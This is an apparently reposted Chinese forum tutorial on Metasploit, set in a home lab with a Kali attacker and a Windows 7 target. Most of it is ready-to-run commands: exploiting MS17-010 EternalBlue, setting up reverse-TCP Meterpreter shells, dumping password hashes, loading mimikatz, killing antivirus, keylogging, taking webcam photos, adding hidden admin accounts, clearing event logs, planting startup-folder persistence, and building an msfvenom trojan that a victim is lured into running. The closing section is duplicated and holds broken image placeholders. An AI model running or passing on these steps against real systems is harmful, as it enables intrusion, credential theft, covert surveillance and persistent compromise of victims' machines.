实验环境
前提:对方的445端口必须开放,首先要保证是能够访问到目标机器的,那么我们先ping一下目标机器,看网络是否连通
如果无法ping的话,对方机器必须要关闭防火墙,或许有其他方法在对方开启防火墙的情况下访问到对方?目前采用关闭防火墙
使用工具:kali
靶机:windows 7 ip:10.0.0.128
攻击机器:kali IP:10.0.0.139
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。- #登录MSF
- ┌──(root㉿kali)-[/home/cherry]
- └─# msfconsole
- =[ metasploit v6.4.54-dev ] 框架的版本号是 v6.4.54-dev
- + -- --=[ 2499 exploits - 1289 auxiliary - 393 post ] 2499 个漏洞利用模块。1289个辅助模块。393个后渗透模块
- + -- --=[ 1607 payloads - 49 encoders - 13 nops ] 1607 个有效载荷 49个编码器 13个NOP 生成器
- + -- --=[ 9 evasion 9 个规避模
复制代码 使用方法
1.基础使用
- msfconsole #进入框架
- search ms17_010 # 使用search命令查找相关漏洞
- use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
- info #使用info查看模块信息
- set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
- show options #查看模块需要配置的参数
- set RHOST 10.0.0.128 #设置参数
- exploit / run #攻击
- 后渗透阶段 #后渗透阶段
复制代码 不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。 我们也可以将攻击代码写入configure.rc(只要是以.rc结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc进行自动攻击!
2.MS17_010(永恒之蓝):
我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞
3.Meterpreter
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件
Meterpreter是如何工作的?
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
Meterpreter的特点
- Meterpreter完全驻留在内存,没有写入到磁盘。
- Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
- 默认情况下, Meterpreter的通信是加密的,所以很安全。
- 扩展性,许多新的特征模块可以被加载。
我们在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter>之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!
查找漏洞相关模块:
1、在kali命令行里面输入命令msfconsole,进入msf框架中:- msfconsole #输入这个命令主要是进入msf渗透框架中
复制代码 2、搜索MS17_010漏洞:- search ms17_010 #利用search命令,搜索漏洞相关利用模块
复制代码
4.Auxiliary辅助探测模块
利用Auxiliary辅助探测模块对漏洞进行探测:
Auxiliary辅助探测模块:
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测:- use auxiliary/scanner/smb/smb_ms17_010
复制代码 2、查看这个模块需要配置的信息:
3、设置要探测的远程目标:
注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞- set rhost 10.0.0.1-10.0.0.254
复制代码 4、对上面设置的ip范围内的主机进行攻击:
注:有+号的就是可能存在漏洞的主机,这里有2个主机存在漏洞
5.Exploit漏洞利用模块
使用Exploit漏洞利用模块对漏洞进行利用:
1、选择漏洞攻击模块,对漏洞进行利用:- use exploit/windows/smb/ms17_010_eternalblue
复制代码 2、查看这个漏洞的信息:3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统真好靶机就是Windows7
6.Payload攻击载荷模块:
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
1、查看攻击载荷:- show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
复制代码 2、设置攻击载荷:- set payload windows/x64/meterpreter/reverse_tcp
复制代码 关于reverse_ tcp与bind _tcp
- 采用reverse的方法一般较为安全, 因为是目标机主动连接攻击机,所以一般不会被防火墙发现。
- 而采用bind的方法,攻击机主动连接目标机( 即需要在目标机上打开端口)时很容易被安全软件和防火墙发现。
3、查看模块需要配置的参数:
4、设置攻击载荷参数:- set RHOST 10.0.0.129 #设置RHOST,也就是要攻击主机的ip
- set LHOST 10.0.0.128 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
- set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;
复制代码 7.后渗透阶段:
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的6666端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit
Meterpreter的命令用法:常用的Meterpreter命令:- sysinfo #查看目标主机系统信息
- run scraper #查看目标主机详细信息
- run hashdump #导出密码的哈希
- load kiwi #加载mimikatz
- ps #查看目标主机进程信息
- pwd #查看目标当前目录(windows)
- getlwd #查看目标当前目录(Linux)
- search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
- download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
- upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
- getpid #查看当前Meterpreter Shell的进程PID
- migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
- idletime #查看主机运行时间
- getuid #查看获取的当前权限
- getsystem #提权,获得的当前用户是administrator才能成功
- run killav #关闭杀毒软件
- screenshot #截图
- webcam_list #查看目标主机的摄像头
- webcam_snap #拍照
- webcam_stream #开视频
- execute 参数 -f 可执行文件 #执行可执行程序
- run getgui -u test1 -p Abc123456 #创建test1用户,密码为Abc123456
- run getgui -e #开启远程桌面
- keyscan_start #开启键盘记录功能
- keyscan_dump #显示捕捉到的键盘记录信息
- keyscan_stop #停止键盘记录功能
- uictl disable keyboard #禁止目标使用键盘
- uictl enable keyboard #允许目标使用键盘
- uictl disable mouse #禁止目标使用鼠标
- uictl enable mouse #允许目标使用鼠标
- load #使用扩展库
- run #使用扩展库
- #会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀
- run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888
- #将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
- portfwd add -l 9999 -r 192.168.100.158 -p 3389
- clearev #清除日志
复制代码 我们输入: shell即可切换到目标主机的windows cmd_shell里面:- shell #获取目标主机的cmd_shell权限
- chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
复制代码 要想从目标主机shell退出到meterpreter ,我们只需输入:exit
从meterpreter退出到MSF框架: 我们只需输入:background
查看前面获得的meterpreter_shell会话,最前面的数字是会话的id:
输入sessions [id号]即可进入相应的meterpreter_shell中:
7.1 Post 后渗透模块
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。- run post/windows/manage/migrate #自动进程迁移
- run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
- run post/windows/manage/killav #关闭杀毒软件
- run post/windows/manage/enable_rdp #开启远程桌面服务
- run post/windows/manage/autoroute #查看路由信息
- run post/windows/gather/enum_logged_on_users #列举当前登录的用户
- run post/windows/gather/enum_applications #列举应用程序
- run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
- run post/windows/gather/smart_hashdump #dump出所有用户的hash
复制代码 输入:sysinfo 查看目标主机的信息:
7.2 查看主机是否运行在虚拟机上:
查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境- run post/windows/gather/checkvm
复制代码
7.3 关闭杀毒软件:
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令- run post/windows/manage/killav
复制代码 7.4 获取目标主机的详细信息:
它将目标机器上的常见信息收集起来然后下载保存在本地7.5 访问文件系统:
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下- pwd #查看当前目录
- cd #切换目标目录;
- cat #读取文件内容;
- rm #删除文件;
- edit #使用vim编辑文件
- ls #获取当前目录下的文件;
- mkdir #新建目录;
- rmdir #删除目录;
复制代码 7.6 上传/下载文件:
下载文件:上传文件:7.7 权限提升:
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。- #自动提权为系统权限
- getsystem
- #命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户权限为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。
- getuid
复制代码 注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
7.8 获取用户密码
参考链接:https://blog.csdn.net/weixin_45588247/article/details/119519411?spm=1001.2014.3001.5501
7.9 运行程序:
先查看目标主机安装了哪些应用:- run post/windows/gather/enum_applications
复制代码 在meterpreter_shell命令行执行目标系统中的应用程序:- #execute命令用法:
- execute [参数] -f 指定的可执行文件
- -f:指定可执行文件
- -H:创建一个隐藏进程
- -a:传递给命令的参数
- -i:跟进程进行交互
- -m:从内存中执行
- -t:使用当前伪造的线程令牌运行进程
- -s:在给定会话中执行进程
复制代码
7.11 屏幕截图
1、截图目标主机屏幕,可以看到,图片被保存到了/root/桌面/目录下
7.12 创建一个新账号:
先查看目标主机有哪些用户:- run post/windows/gather/enum_logged_on_users
复制代码 在目标系统中创建一个新的用户账号的方法一:
注:这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。- run getgui -u 用户 -p 密码
- -u: 指定用户
- -p: 指定密码
复制代码 在目标系统中创建一个新的用户账号的方法二:- enable_rdp脚本:
- run post/windows/manage/enable_rdp USERNAME=cherry PASSWORD=123456 #添加用户
- run post/windows/manage/enable_rdp #开启远程桌面
- run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
复制代码 7.13 启用远程桌面:
- 当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
- 首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:run post/windows/manage/enable_rdp命令可以开启远程桌面。
- 在开启远程桌面会话之前,我们还需要使用idletime命令检查远程用户的空闲时长:
7.14 键盘记录:
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:- keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;
- keyscan_dump: #显示捕捉到的键盘记录信息
- keyscan_stop: #停止键盘记录功能
复制代码 注:在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。
7.15 进程迁移:
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter跟 winlogon.exe绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用:ps 命令查看目标设备中运行的进程:
我们可以使用:getpid 查看我们当前的进程id:使用:migrate+目标进程ID命令来绑定目标进程id,可以看到通过进程迁移后,当前的Meterpreter的pid已经和 winlogon.exe一样了
这里绑定目标pid的时候,经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程,没有关闭可使用 kill pid 命令关闭进程。
或者使用自动迁移进程(run post/windows/manage/migrate)命 令,系统会自动寻找合适的进程然后迁移。
7.16 禁止目标主机使用键盘鼠标
- uictl disable(enable) keyboard #禁止(允许)目标使用键盘
- uictl disable(enable) mouse #禁止(允许)目标使用鼠标
复制代码 7.17 用目标主机摄像头拍照:
- webcam_list #获取目标系统的摄像头列表
- webcam_snap #从指定的摄像头,拍摄照片
- webcam_stream #从指定的摄像头,开启视频
复制代码 7.18 常用扩展库介绍
meterpreter中不仅有基本命令还有很多扩展库,下面就介绍一下常用的扩展库的查看方法。- load/use #加载模块
- load -l #列出所有可用的扩展
- load -help #帮助;说明
- run #执行一个已有的模块
复制代码 注:这里输入run后,双击Tab键列出所有的已有的脚本;
7.19 生成持续性后门(重点):
因为meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc)
7.19.1 启动项启动:
启动项启动的话,我们先生成一个后门木马。
需要去学习怎么生成后门木马 todo
然后放到windows的启动目录中:- C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
复制代码 这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
msf制作反弹shell
1.制作反弹shell-exe文件
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=kaili的ip地址 LPORT=5577 -f exe -o /root/test.exe
- LHOST kaili的ip地址
- LPORT 为反弹端口
- test.exe 为生成文件
复制代码 木马生成成功:
然后把木马传输到主机
2.控制端启动msfconsole,获取监听
- msfconsole
- msf5 > use exploit/multi/handler
- msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
- msf5 exploit(multi/handler) > set LHOST 0.0.0.0
- msf5 exploit(multi/handler) > set LPORT 5577
- msf5 exploit(multi/handler) > run
- 一句话:
- handler -p windows/meterpreter/reverse_tcp -H kaili的ip地址 -P 5577
复制代码 这时候只需要诱惑点击我们的test.exe文件。我们就可以进入到meterpreter界面了。
3.反弹成功
因为我win7拖拽文件有问题。这里我使用Win10做靶机。
成功获取到对话:
我们输入: shell即可切换到目标主机的windows cmd_shell里面:- shell #获取目标主机的cmd_shell权限
- chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
复制代码 17B-1744342215955)]
然后把木马传输到主机
2.控制端启动msfconsole,获取监听
- msfconsole
- msf5 > use exploit/multi/handler
- msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
- msf5 exploit(multi/handler) > set LHOST 0.0.0.0
- msf5 exploit(multi/handler) > set LPORT 5577
- msf5 exploit(multi/handler) > run
- 一句话:
- handler -p windows/meterpreter/reverse_tcp -H kaili的ip地址 -P 5577
复制代码 这时候只需要诱惑点击我们的test.exe文件。我们就可以进入到meterpreter界面了。
3.反弹成功
因为我win7拖拽文件有问题。这里我使用Win10做靶机。
成功获取到对话:
[外链图片转存中...(img-iM5SHzMh-1744342215955)]
我们输入: shell即可切换到目标主机的windows cmd_shell里面:- shell #获取目标主机的cmd_shell权限
- chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
复制代码 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |